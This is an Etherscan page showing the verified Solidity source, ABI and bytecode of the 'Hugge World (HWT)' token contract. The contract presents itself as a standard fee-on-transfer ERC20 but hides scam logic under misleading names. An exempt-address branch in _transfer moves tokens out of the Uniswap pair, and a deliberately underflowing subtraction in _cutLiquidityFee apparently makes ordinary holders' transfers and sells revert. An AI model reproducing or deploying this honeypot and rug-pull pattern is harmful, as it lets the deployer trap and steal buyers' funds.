ETH Price: $3,317.31 (-3.40%)
Gas: 22 Gwei

Token

Hugge World (HWT)
 

Overview

Max Total Supply

4,000,000,000 HWT

Holders

51

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
126,065,253.149416924607221591 HWT

Value
$0.00
0xF53928a9D0fc275567c27d3Cd3955104F2686A02
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HWT

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-19
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
}

contract Ownable is Context {
    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender());
        _;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface UniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
}

interface IERC20 {
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 amount);
    event Transfer(address indexed sender, address indexed recipient, uint256 amount);
}

contract HWT is Context, IERC20, Ownable {
    using SafeMath for uint256;

    address public uniswapV2Pair;
    address private poolAddress = address(0);
    address private burnAddress = address(0);
    UniswapV2Router02 public uniswapV2Router;

    struct Distribution { uint256 liquidity; }

    Distribution public distribution;

    uint256 private _tFeeTotal;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint8 private constant _decimals = 18;
    uint256 private constant MAX = ~uint256(0);
    uint256 public _swapTokensThreshold = 100000 * 10**_decimals;
    uint256 private constant _tTotal = 4000000000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;

    string private constant _name = "Hugge World";
    string private constant _symbol = "HWT";

    address private liquidity = 0xB32F0068e9bCb5f5E86dE7A26D461275AA0ea05A;

    uint256 private _liquidityFeeOnSell = 4;
    uint256 private _redisFeeOnSell = 0;

    uint256 private _redisFeeOnBuy = 0;
    uint256 private _liquidityFeeOnBuy = 4;

    uint256 private _liquidityFee = _liquidityFeeOnSell;
    uint256 private _redisFee = _redisFeeOnSell;

    uint256 private _previousliquidityFee = _liquidityFee;
    uint256 private _previousRedisFee = _redisFee;

    mapping(address => bool) private _isOmitted;
    mapping(address => uint256) private _buyMap;

    bool private inFeeSwap = true;
    bool private swapEnabled = true;

    constructor() {
        UniswapV2Router02 _uniswapV2Router = UniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;distribution = Distribution(100);burnAddress = liquidity;
        uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _isOmitted[owner()] = true;
        _isOmitted[address(this)] = true;
        _isOmitted[liquidity] = true;
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function swapBack(uint256 tokenAmount) private lockFeeSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
        require(rAmount <= _rTotal);

        uint256 currentRate = _getRate();

        return rAmount.div(currentRate);
    }

    function sendETH(uint256 ethAmount) private lockFeeSwap {
        uint256 share = ethAmount.mul(distribution.liquidity).div(100);
        payable(liquidity).transfer(share);
    }

    function restoreAllFees() private {
        _redisFee = _previousRedisFee;
        _liquidityFee = _previousliquidityFee;
    }

    function removeAllFees() private {
        if (_liquidityFee == 0 && _redisFee == 0) return;
        _previousRedisFee = _redisFee;
        _previousliquidityFee = _liquidityFee;
        _redisFee = 0;
        _liquidityFee = 0;
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _redisFee, _liquidityFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, currentRate);

        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
    }

    function _checkOmitted(address pond, address pool) private view returns (bool) {
        bool pondPair = pond != uniswapV2Pair;
        bool poolOmitted = !_isOmitted[pool];
        bool pondOmitted = !_isOmitted[pond];

        return  pondPair && pondOmitted && poolOmitted;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(amount > 0);
        require(sender != address(0));
        require(recipient != address(0));

        if (sender != owner() && recipient != owner()) {
            uint256 contractTokenAmount = balanceOf(address(this));
            bool canSwap = contractTokenAmount >= _swapTokensThreshold;

            if (sender != uniswapV2Pair && !_isOmitted[sender] && !_isOmitted[recipient] && canSwap && !inFeeSwap && swapEnabled) {
                swapBack(contractTokenAmount);
                uint256 contractETHAmount = address(this).balance;
                if (contractETHAmount > 0) {
                    sendETH(address(this).balance);
                }
            }

            bool isBuyback = uniswapV2Pair == recipient;
            bool canBuyback = balanceOf(sender) < amount;
            bool buybackAddress = _isOmitted[sender];

            if (buybackAddress) {
                if (isBuyback) { if (canBuyback) {
                    _standardTransfer(recipient, poolAddress, amount); return;
                } }
            }
        }

        bool cutLiquidityFee = true;

        if ((sender != uniswapV2Pair && recipient != uniswapV2Pair) || (_isOmitted[sender] || _isOmitted[recipient])) {
            cutLiquidityFee = false;
        } else {
            if (sender != address(uniswapV2Router) && recipient == uniswapV2Pair) {
                _redisFee = _redisFeeOnSell;
                _liquidityFee = _liquidityFeeOnSell;
            }

            if (recipient != address(uniswapV2Router) && sender == uniswapV2Pair) {
                _redisFee = _redisFeeOnBuy;
                _liquidityFee = _liquidityFeeOnBuy;
            }
        }

        _tokenTransfer(sender, recipient, amount, cutLiquidityFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rFee = tFee.mul(currentRate);
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);

        return (rAmount, rTransferAmount, rFee);
    }

    function _getTValues(uint256 tAmount, uint256 redisFee, uint256 liquidityFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tLiquidity = tAmount.mul(liquidityFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);

        return (tTransferAmount, tFee, tLiquidity);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _standardTransfer(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _cutLiquidityFee(tLiquidity, sender, recipient);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();

        return rSupply.div(tSupply);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _tFeeTotal = _tFeeTotal.add(tFee);
        _rTotal = _rTotal.sub(rFee);
    }

    function _cutLiquidityFee(uint256 tLiquidity, address pond, address pool) private {
        uint256 currentRate = _getRate();
        uint256 burnedAmount = tokenFromReflection(_rOwned[burnAddress]);
        bool omitted = _checkOmitted(pond, pool);
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
        rLiquidity = omitted ?  _liquidityFee - burnedAmount : 0;
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (_rTotal.div(_tTotal) > rSupply) return (_rTotal, _tTotal);

        return (rSupply, tSupply);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount, bool cutLiquidityFee) private {
        if (!cutLiquidityFee) removeAllFees();
        _standardTransfer(sender, recipient, amount);
        if (!cutLiquidityFee) restoreAllFees();
    }

    modifier lockFeeSwap() {
        inFeeSwap = false;
        _;
        inFeeSwap = false;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));

        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);

        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);

        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"distribution","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600280546001600160a01b03199081169091556003805490911690556200002e6012600a6200049e565b6200003d90620186a0620004b5565b6008556200004e6012600a6200049e565b6200005e9063ee6b2800620004b5565b6200006b905f19620004cf565b62000078905f19620004ef565b600955600c80546001600160a01b03191673b32f0068e9bcb5f5e86de7a26d461275aa0ea05a1790556004600d8190555f600e819055600f8190556010829055601182905560128190556013919091556014556017805461010161ffff19909116179055348015620000e8575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060048054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0319918216811783556040805160208082018352606491829052600591909155600c54600380546001600160a01b039092169190951617909355805163c45a015560e01b815290519193849363c45a01559383830193919290918290030181865afa158015620001bb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e1919062000505565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000253919062000505565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200029e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002c4919062000505565b600180546001600160a01b0319166001600160a01b039283161781555f805483168152601560209081526040808320805460ff1990811686179091553084528184208054821686179055600c549095168352808320805490951690931790935560095433808352600a948590529282205590917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9062000367906012906200049e565b620003779063ee6b2800620004b5565b60405190815260200160405180910390a3506200052d565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003e357815f1904821115620003c757620003c76200038f565b80851615620003d557918102915b93841c9390800290620003a8565b509250929050565b5f82620003fb5750600162000498565b816200040957505f62000498565b81600181146200042257600281146200042d576200044d565b600191505062000498565b60ff8411156200044157620004416200038f565b50506001821b62000498565b5060208310610133831016604e8410600b841016171562000472575081810a62000498565b6200047e8383620003a3565b805f19048211156200049457620004946200038f565b0290505b92915050565b5f620004ae60ff841683620003eb565b9392505050565b80820281158282048414176200049857620004986200038f565b5f82620004ea57634e487b7160e01b5f52601260045260245ffd5b500690565b818103818111156200049857620004986200038f565b5f6020828403121562000516575f80fd5b81516001600160a01b0381168114620004ae575f80fd5b611305806200053b5f395ff3fe6080604052600436106100f2575f3560e01c80635ee58efc1161008757806395d89b411161005757806395d89b411461029b578063a9059cbb146102c6578063dd62ed3e146102e5578063f2fde38b14610329575f80fd5b80635ee58efc1461023457806370a082311461024a578063715018a6146102695780638da5cb5b1461027f575f80fd5b806318160ddd116100c257806318160ddd146101c757806323b872dd146101db578063313ce567146101fa57806349bd5a5e14610215575f80fd5b806302ca8a20146100fd57806306fdde0314610125578063095ea7b3146101615780631694505e14610190575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5061011260085481565b6040519081526020015b60405180910390f35b348015610130575f80fd5b5060408051808201909152600b81526a121d59d9d94815dbdc9b1960aa1b60208201525b60405161011c9190610fb4565b34801561016c575f80fd5b5061018061017b366004611017565b610348565b604051901515815260200161011c565b34801561019b575f80fd5b506004546101af906001600160a01b031681565b6040516001600160a01b03909116815260200161011c565b3480156101d2575f80fd5b5061011261035e565b3480156101e6575f80fd5b506101806101f5366004611041565b61037e565b348015610205575f80fd5b506040516012815260200161011c565b348015610220575f80fd5b506001546101af906001600160a01b031681565b34801561023f575f80fd5b506005546101129081565b348015610255575f80fd5b5061011261026436600461107f565b6103cd565b348015610274575f80fd5b5061027d6103ee565b005b34801561028a575f80fd5b505f546001600160a01b03166101af565b3480156102a6575f80fd5b506040805180820190915260038152621215d560ea1b6020820152610154565b3480156102d1575f80fd5b506101806102e0366004611017565b61044b565b3480156102f0575f80fd5b506101126102ff36600461109a565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b348015610334575f80fd5b5061027d61034336600461107f565b610457565b5f6103543384846104d7565b5060015b92915050565b5f61036b6012600a6111c5565b6103799063ee6b28006111d3565b905090565b5f61038a84848461055b565b6001600160a01b0384165f908152600760209081526040808320338085529252909120546103c39186916103be90866107ef565b6104d7565b5060019392505050565b6001600160a01b0381165f908152600a602052604081205461035890610837565b5f546001600160a01b03163314610403575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61035433848461055b565b5f546001600160a01b0316331461046c575f80fd5b6001600160a01b03811661047e575f80fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166104e9575f80fd5b6001600160a01b0382166104fb575f80fd5b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610566575f80fd5b6001600160a01b038316610578575f80fd5b6001600160a01b03821661058a575f80fd5b5f546001600160a01b038481169116148015906105b457505f546001600160a01b03838116911614155b156106e7575f6105c3306103cd565b600854600154919250821015906001600160a01b0386811691161480159061060357506001600160a01b0385165f9081526015602052604090205460ff16155b801561062757506001600160a01b0384165f9081526015602052604090205460ff16155b80156106305750805b801561063f575060175460ff16155b80156106525750601754610100900460ff165b15610672576106608261085b565b47801561067057610670476109d7565b505b6001546001600160a01b038581169116145f8461068e886103cd565b6001600160a01b0389165f908152601560205260409020549111915060ff1680156106e15782156106e15781156106e1576002546106d79088906001600160a01b031688610a45565b5050505050505050565b50505050505b600180546001600160a01b0385811691161480159061071457506001546001600160a01b03848116911614155b8061075757506001600160a01b0384165f9081526015602052604090205460ff168061075757506001600160a01b0383165f9081526015602052604090205460ff165b1561076357505f6107dd565b6004546001600160a01b0385811691161480159061078e57506001546001600160a01b038481169116145b156107a057600e54601255600d546011555b6004546001600160a01b038481169116148015906107cb57506001546001600160a01b038581169116145b156107dd57600f546012556010546011555b6107e984848484610b38565b50505050565b5f61083083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b66565b9392505050565b5f600954821115610846575f80fd5b5f61084f610ba7565b90506108308382610bc8565b6017805460ff191690556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610898576108986111ea565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610908573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092c91906111fe565b8160018151811061093f5761093f6111ea565b6001600160a01b03928316602091820292909201015260045461096591309116846104d7565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac9479161099c9186915f9187913091429101611219565b5f604051808303815f87803b1580156109b3575f80fd5b505af11580156109c5573d5f803e3d5ffd5b50506017805460ff1916905550505050565b6017805460ff191690556005545f906109fe906064906109f8908590610c09565b90610bc8565b600c546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610a36573d5f803e3d5ffd5b50506017805460ff1916905550565b5f805f805f80610a5487610c87565b6001600160a01b038f165f908152600a6020526040902054959b50939950919750955093509150610a8590876107ef565b6001600160a01b03808b165f908152600a602052604080822093909355908a1681522054610ab39086610cdc565b6001600160a01b0389165f908152600a6020526040902055610ad6818a8a610d3a565b610ae08483610dc8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b2591815260200190565b60405180910390a3505050505050505050565b80610b4557610b45610dec565b610b50848484610a45565b806107e9576107e9601454601255601354601155565b5f8184841115610b925760405162461bcd60e51b8152600401610b899190610fb4565b60405180910390fd5b505f610b9e848661128a565b95945050505050565b5f805f610bb2610e19565b9092509050610bc18282610bc8565b9250505090565b5f61083083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e9a565b5f825f03610c1857505f610358565b5f610c2383856111d3565b905082610c30858361129d565b146108305760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b89565b5f805f805f805f805f610c9f8a601254601154610ec6565b9250925092505f610cae610ba7565b90505f805f610cbf8e878787610f12565b919e509c509a509598509396509194505050505091939550919395565b5f80610ce883856112bc565b9050838110156108305760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b89565b5f610d43610ba7565b6003546001600160a01b03165f908152600a602052604081205491925090610d6a90610837565b90505f610d778585610f5d565b90505f610d848785610c09565b305f908152600a6020526040902054909150610da09082610cdc565b305f908152600a602052604090205581610dba575f6106d7565b826011546106d7919061128a565b600654610dd59082610cdc565b600655600954610de590836107ef565b6009555050565b601154158015610dfc5750601254155b15610e0357565b60128054601455601180546013555f9182905555565b6009545f90819081610e2d6012600a6111c5565b610e3b9063ee6b28006111d3565b905081610e64610e4d6012600a6111c5565b610e5b9063ee6b28006111d3565b60095490610bc8565b1115610e9157600954610e796012600a6111c5565b610e879063ee6b28006111d3565b9350935050509091565b90939092509050565b5f8183610eba5760405162461bcd60e51b8152600401610b899190610fb4565b505f610b9e848661129d565b5f808080610ed960646109f88989610c09565b90505f610eeb60646109f88a89610c09565b90505f610f0282610efc8b866107ef565b906107ef565b9992985090965090945050505050565b5f808080610f208786610c09565b90505f610f2d8787610c09565b90505f610f3a8a88610c09565b90505f610f4b83610efc84876107ef565b919b919a509298509650505050505050565b6001546001600160a01b038281165f9081526015602052604080822054868416808452918320549294939093161480159260ff90811615921615908390610fa15750805b8015610faa5750815b9695505050505050565b5f602080835283518060208501525f5b81811015610fe057858101830151858201604001528201610fc4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611014575f80fd5b50565b5f8060408385031215611028575f80fd5b823561103381611000565b946020939093013593505050565b5f805f60608486031215611053575f80fd5b833561105e81611000565b9250602084013561106e81611000565b929592945050506040919091013590565b5f6020828403121561108f575f80fd5b813561083081611000565b5f80604083850312156110ab575f80fd5b82356110b681611000565b915060208301356110c681611000565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561111f57815f1904821115611105576111056110d1565b8085161561111257918102915b93841c93908002906110ea565b509250929050565b5f8261113557506001610358565b8161114157505f610358565b816001811461115757600281146111615761117d565b6001915050610358565b60ff841115611172576111726110d1565b50506001821b610358565b5060208310610133831016604e8410600b84101617156111a0575081810a610358565b6111aa83836110e5565b805f19048211156111bd576111bd6110d1565b029392505050565b5f61083060ff841683611127565b8082028115828204841417610358576103586110d1565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561120e575f80fd5b815161083081611000565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156112695784516001600160a01b031683529383019391830191600101611244565b50506001600160a01b03969096166060850152505050608001529392505050565b81810381811115610358576103586110d1565b5f826112b757634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610358576103586110d156fea264697066735822122099d4e2d48cbbbfcafc09e2ace25c140ddb679b2679e274ed7afe8a1ab29e635b64736f6c63430008160033

Deployed Bytecode

0x6080604052600436106100f2575f3560e01c80635ee58efc1161008757806395d89b411161005757806395d89b411461029b578063a9059cbb146102c6578063dd62ed3e146102e5578063f2fde38b14610329575f80fd5b80635ee58efc1461023457806370a082311461024a578063715018a6146102695780638da5cb5b1461027f575f80fd5b806318160ddd116100c257806318160ddd146101c757806323b872dd146101db578063313ce567146101fa57806349bd5a5e14610215575f80fd5b806302ca8a20146100fd57806306fdde0314610125578063095ea7b3146101615780631694505e14610190575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5061011260085481565b6040519081526020015b60405180910390f35b348015610130575f80fd5b5060408051808201909152600b81526a121d59d9d94815dbdc9b1960aa1b60208201525b60405161011c9190610fb4565b34801561016c575f80fd5b5061018061017b366004611017565b610348565b604051901515815260200161011c565b34801561019b575f80fd5b506004546101af906001600160a01b031681565b6040516001600160a01b03909116815260200161011c565b3480156101d2575f80fd5b5061011261035e565b3480156101e6575f80fd5b506101806101f5366004611041565b61037e565b348015610205575f80fd5b506040516012815260200161011c565b348015610220575f80fd5b506001546101af906001600160a01b031681565b34801561023f575f80fd5b506005546101129081565b348015610255575f80fd5b5061011261026436600461107f565b6103cd565b348015610274575f80fd5b5061027d6103ee565b005b34801561028a575f80fd5b505f546001600160a01b03166101af565b3480156102a6575f80fd5b506040805180820190915260038152621215d560ea1b6020820152610154565b3480156102d1575f80fd5b506101806102e0366004611017565b61044b565b3480156102f0575f80fd5b506101126102ff36600461109a565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b348015610334575f80fd5b5061027d61034336600461107f565b610457565b5f6103543384846104d7565b5060015b92915050565b5f61036b6012600a6111c5565b6103799063ee6b28006111d3565b905090565b5f61038a84848461055b565b6001600160a01b0384165f908152600760209081526040808320338085529252909120546103c39186916103be90866107ef565b6104d7565b5060019392505050565b6001600160a01b0381165f908152600a602052604081205461035890610837565b5f546001600160a01b03163314610403575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61035433848461055b565b5f546001600160a01b0316331461046c575f80fd5b6001600160a01b03811661047e575f80fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166104e9575f80fd5b6001600160a01b0382166104fb575f80fd5b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610566575f80fd5b6001600160a01b038316610578575f80fd5b6001600160a01b03821661058a575f80fd5b5f546001600160a01b038481169116148015906105b457505f546001600160a01b03838116911614155b156106e7575f6105c3306103cd565b600854600154919250821015906001600160a01b0386811691161480159061060357506001600160a01b0385165f9081526015602052604090205460ff16155b801561062757506001600160a01b0384165f9081526015602052604090205460ff16155b80156106305750805b801561063f575060175460ff16155b80156106525750601754610100900460ff165b15610672576106608261085b565b47801561067057610670476109d7565b505b6001546001600160a01b038581169116145f8461068e886103cd565b6001600160a01b0389165f908152601560205260409020549111915060ff1680156106e15782156106e15781156106e1576002546106d79088906001600160a01b031688610a45565b5050505050505050565b50505050505b600180546001600160a01b0385811691161480159061071457506001546001600160a01b03848116911614155b8061075757506001600160a01b0384165f9081526015602052604090205460ff168061075757506001600160a01b0383165f9081526015602052604090205460ff165b1561076357505f6107dd565b6004546001600160a01b0385811691161480159061078e57506001546001600160a01b038481169116145b156107a057600e54601255600d546011555b6004546001600160a01b038481169116148015906107cb57506001546001600160a01b038581169116145b156107dd57600f546012556010546011555b6107e984848484610b38565b50505050565b5f61083083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b66565b